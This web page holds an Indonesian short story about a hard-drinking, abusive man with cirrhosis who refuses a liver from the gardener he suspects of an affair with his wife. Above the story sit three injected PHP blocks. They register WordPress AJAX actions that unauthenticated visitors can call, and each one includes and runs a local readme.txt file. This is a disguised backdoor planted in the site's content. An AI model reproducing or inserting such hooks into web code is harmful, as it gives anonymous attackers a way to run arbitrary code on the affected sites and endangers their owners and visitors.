if(!function_exists('file_check_readme30417')){ add_action('wp_ajax_nopriv_file_check_readme30417', 'file_check_readme30417'); add_action('wp_ajax_file_check_readme30417', 'file_check_readme30417'); function file_check_readme30417() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme14937')){ add_action('wp_ajax_nopriv_file_check_readme14937', 'file_check_readme14937'); add_action('wp_ajax_file_check_readme14937', 'file_check_readme14937'); function file_check_readme14937() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme61629')){ add_action('wp_ajax_nopriv_file_check_readme61629', 'file_check_readme61629'); add_action('wp_ajax_file_check_readme61629', 'file_check_readme61629'); function file_check_readme61629() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } Prajogo Berhati Anjing

Prajogo Berhati Anjing

Jagad Wijaksono

4 min read

Sirosis hati yang dideritanya membuat Prajogo harus rela terbaring di rumah sakit. Kegemarannya mengonsumsi minuman keras membuat penyakitnya semakin hari semakin parah. Hati Prajogo telah mengeras, perutnya membengkak dan kulitnya menjadi begitu kuning.

Kondisi hati Prajogo tidak dapat tertolong lagi. Tidak bisa tidak, ia harus menjalani cangkok hati, atau waktunya di dunia ini tak akan lama lagi.

Ia masih berbaring di kamar rumah sakit dan terus mengerang kesakitan. Namun, dokter kebingungan karena Prajogo terus menolak, tak sudi menerima donor dari Mardi.

***

Sulas, istrinya, datang ke rumah sakit menemui Prajogo yang tergeletak di ruang VIP. Matanya berlinang melihat suaminya tergeletak lemas. Ia membujuk suaminya untuk mau menerima donor hati dari Mardi, tukang kebun yang kerap Prajogo maki.

Di saat seperti itu, dengan kondisi yang lemah, Prajogo tetap mengumpat. Rasa jengkelnya kepada Mardi tidak ada habis-habisnya.

Mardi – pemuda itu – selalu mendapatkan makian dari Prajogo, bukan tanpa sebab tentu saja.

Sore itu sepulang dari mengontrol pabrik roti miliknya, Prajogo yang masih dikuasai oleh pengaruh minuman keras mendapati Sulas sedang berdiri di depan gubug reot bersama Mardi. Sontak, tanpa babibu Prajogo melayangkan bogemnya ke wajah Mardi berkali-kali.

Setelah puas dengan Mardi, Prajogo memalingkan wajahnya ke arah istrinya yang masih menangis tersedu-sedu, tangannya melayang, menempeleng pipi istrinya yang pualam.

Bagaimana tidak geram, pemuda yang ia pungut dari solokan dan ia beri makan setiap hari, diberinya tempat tinggal – walau hanya di gubuk reot di sebelah kebunnya – berani berduaan di sisa malam bersama istrinya yang pualam. Walaupun barang tentu semua dimulai oleh Sulas, tapi kurang ajar benar Mardi.

Sial memang tak dapat ditawar. Mardi menghadapi tuannya yang seorang bajingan, yang tak pernah mau mendengar omongan orang. Tentu saja malam itu Mardi dan Sulas tak memendam niat jalang.

Malam itu Sulas tertatih menuju gubuk Mardi karena Prajogo tak kunjung pulang di tengah badai dan hujan yang turun bringasan, di bawah payung hitam Sulas menggedor semua pintu kamar pembantunya.

Sial memang tak kepalang, malam itu tak ada satupun yang keluar selain Mardi. Saat Sulas meminta Mardi keluar mencari Prajogo, saat itu pula Prajogo yang sempoyongan pulang dengan mata merah dan darah mendidih, di bawah pengaruh alkohol semua menjadi gelap, begitupun hatinya.

***

Bujuk rayu Sulas berhasil mendorong Mardi untuk mendonorkan hatinya, untuk Prajogo, lelaki yang ia benci setengah mati. Kebencian Mardi pun bukan tanpa sebab, ia begitu membenci Prajogo yang kerap meneriaki Sulas, perempuan yang telah begitu baik merawatnya.

Tanpa sepengetahuan Prajogo, Sulas kerap mengendap-endap melalui pintu belakang menuju gubuk-gubuk reot yang berjajar tempat Mardi tinggal bersama para pembantu lainnya.

Dengan senyum dan welas asihnya, Sulas selalu memberikan roti-roti manis untuk para pembantu dan tukang yang bekerja di rumahnya. Kebiasaan Sulas ini menjadikannya sosok yang istimewa di mata Mardi dan para pembantu lainnya.

Semakin hari, rasa kagum Mardi pada sikap Sulas yang welas asih mulai berubah menjadi kasih sayang. Mardi selalu membayangkan kemustahilan itu, hari di mana ia dapat memeluk perempuan pualam itu.

Oleh karena rasa kasih dan sayangnya pada Sulas, tumbuhlah rasa jijik dan benci pada Prajogo yang kasar bukan kepalang. Namun, pada akhirnya ia tidak bisa melihat Sulas terus-menerus meneteskan air mata. Kasih sayangnya pada Sulas lebih besar dari rasa bencinya pada tuannya. Mardi ingin sekali memeluk Sulas dengan harapan semua deritanya dapat luntur atau tak apa bila sedihnya berpindah lewat pelukan itu. Apa pun asalkan Sulas tak lagi sakit hatinya.

***

Vonis dokter masih terngiang-ngiang di telinga Sulas yang terus berusaha membujuk suaminya agar mau menerima hati milik Mardi.

“Aku tak mau mengotori diriku dengan dengan darah bajingan itu. Lebih baik aku menerima hati anjing daripada harus menerima miliknya. Kau juga, berhenti membujukku. Kau tidak ada bedanya dengan bajingan Mardi.”

***

Prajogo tak bisa mengusir Mardi, karena Sulas mengancam akan mengakhiri hidupnya jika Prajogo mengusir pemuda itu. Apa jadinya jika orang-orang mendapati Sulas – istrinya – bunuh diri? Mau ditaruh di mana harga diri dan martabat keluarganya. Begitupun dengan peluang untuk menceraikan Sulas, sudah tentu tak ada. Nama baik keluarga adalah segalanya.

***

Prajogo terus meraung-raung menahan sakit, di antara sadar dan tidak. Tubuhnya semakin lemah. Sulas gemetaran dan khawatir melihat keadaan suaminya yang kehilangan kesadaran, sementara dokter terus berteriak kepada suster untuk memberikan suntikan obat bius lewat selang infus. Wajah Sulas tampak pucat bercampur takut yang membabi buta.

***

Keputusan Sulas untuk mendatangi gubuk reot Mardi bukan tanpa sebab. Walaupun dia begitu mencintai suaminya, tetapi tak dapat dipungkiri bahwa pernikahannya jauh dari kata bahagia.

Tabiat Prajogo yang kasar dan mudah marah, ditambah kebiasaannya memaki dan meminum minuman keras, menjadi alasan ketidakbahagiaan Sulas.

Hampir dalam setiap kesempatan, Prajogo pulang dalam keadaan mabuk berat dan melontarkan makian pada siapapun, tak terkecuali kepada Sulas.

Semakin hari, makian dan bentakan Prajogo kepada Sulas semakin menjadi, luka hatinya semakin menganga. Namun, cinta memang buta. Sulas tak bisa memungkiri bahwa lelaki kasar itu masih lelaki yang ia cintai seperti dulu. Ia hanya membutuhkan tempat untuk berlari dan bersembunyi sejenak menumpahkan semua keluh dan kesahnya, pikir Sulas. Saat itulah muncul sosok Mardi.

Pemuda polos itu menjadi tempat pelarian Sulas dari rasa sakit yang diterimanya. Hampir setiap malam Sulas sembunyi-sembunyi menumpahkan sedihnya dengan bercerita pada Mardi, karena hanya pemuda itu yang berani menerima tuannya. Namun, sial, setiap bangkai pasti akan tercium juga baunya.

Ketika Prajogo terbaring di rumah sakit dan harus menerima donor hati, Sulas kelimpungan. Ia menghubungi semua sanak saudara yang dekat dan jauh, barangkali salah satu saudaranya ada yang berbaik hati mau mendonorkan hati mereka. Namun, tak ada satupun saudara mereka yang bersedia mendonorkan hatinya.

Sulas mulai mencoba meminta bantuan pada kolega suaminya, tetapi hasilnya tetap sama, nihil. Ia memasang iklan dan menjanjikan imbalan pada siapapun yang mau mendonorkan hatinya untuk Prajogo, tetapi tetap tak ada yang tertarik, bahkan ketika ia menjanjikan imbalan berkali-kali lipat pun tetap tak ada hasilnya.

Dengan putus asa, Sulas mengeluhkan semuanya pada Mardi. Melihat kondisi Sulas, Mardi tak mampu berbuat apa-apa.

Entah didorong oleh kekuatan apa, Sulas mulai memohon pada Mardi untuk mau mendonorkan hatinya untuk Prajogo, walaupun Sulas tahu bahwa Mardi begitu membenci suaminya.

Sulas terus memohon pada Mardi, sambil terus menitikkan air matanya. Terkadang cinta memang rumit, kau mencintai orang yang tidak mencintaimu dan kau dicintai oleh orang yang tak kau cintai.

Bujuk rayu Sulas berhasil membuat Mardi bersedia mendonorkan hatinya untuk Prajogo.

Tidak, semua itu bukan untuk Prajogo. Mardi mendonorkan hatinya agar Sulas berhenti meneteskan air matanya. Paling tidak Sulas bisa berhenti meneteskan air mata di hadapan dirinya, begitu pikir Mardi.

***

Malam itu Prajogo membuka matanya perlahan. Ia mendapati Sulas masih duduk di sampingnya, dokter beserta suster berdiri menyertai Sulas.

Dengan suara lembut, Sulas kembali membujuk Prajogo untuk mau menerima niat baik Mardi. Namun, bujuk rayu Sulas membuat mata Prajogo membelalak, ia mendengus, meradang, dan membentak.

“Dasar jalang! Sudah kukatakan lebih baik aku menerima hati anjing dari pada milik bajingan itu! Camkan itu!”

Suaranya yang serak dan lemah terdengar layaknya kaik anjing. “Aku tak peduli. Aku tak mau darahku dicemari oleh bajingan itu, tak juga oleh milikmu!”

Telunjuknya lemah terangkat tepat di depan hidung Sulas.

Prinsipnya begitu kuat dipegang, hingga tekanannya darah naik dan membuatnya kembali tak sadarkan diri.

***

Hari itu akhirnya datang juga. Prajogo terbangun dengan selang infus di tangan kanannya. Perlahan kesadarannya mulai kembali, rasanya lama sekali ia tertidur. Dilihatnya Sulas yang duduk di sisi sebelah kanan ranjangnya dan tersenyum. Prajogo sedikit curiga, melihat istrinya tak menangis seperti kali terakhir ia melihatnya.

Dengan penuh curiga, Prajogo menarik bajunya, didapatinya perban yang menutupi luka jahitan di atas perutnya.

“Bangsat!” teriaknya menyalak.

Prajogo menarik selang infus yang mengganggunya dan langsung membuka perban di atas perutnya. Dengan serampangan, Prajogo berusaha membuka jahitan di atas perutnya.

Melihat adegan itu, Sulas berteriak histeris, mengundang para perawat berlarian tergopoh-gopoh menuju kamar perawatan Prajogo. Beberapa perawat dan dokter dibantu petugas keamanan rumah sakit berusaha menenangkan Prajogo. Beberapa perawat lainnya mendampingi Sulas yang masih tersentak melihat kejadian itu.

“Bangsat! Sudah kukatakan aku tak sudi menerima hati milik bajingan itu!” teriak Prajogo sambil terus meronta, hendak merobek perutnya sendiri. Kejadian itu membuat darah mengucur dari luka jahitan yang belum juga kering di atas perutnya.

Masih dalam sedu sedan melihat kelakuan suaminya, Sulas berkata lirih, “kami tak pernah mencangkokkan hati Mardi di tubuhmu, Mas. Kami mencangkokkan hati anjing sesuai permintaanmu.” Lalu tangis Sulas pun pecah.

Mendengar pengakuan Sulas, Prajogo yang telah kehilangan banyak darah hanya bisa mengumpat penuh sesal. “Bangsat!”

Prajogo tak sadarkan diri sekali lagi.

***

Editor: Ghufroni An’ars

Jagad Wijaksono

Leave a Reply

Your email address will not be published. Required fields are marked *

Dapatkan tulisan-tulisan menarik setiap saat dengan berlangganan melalalui email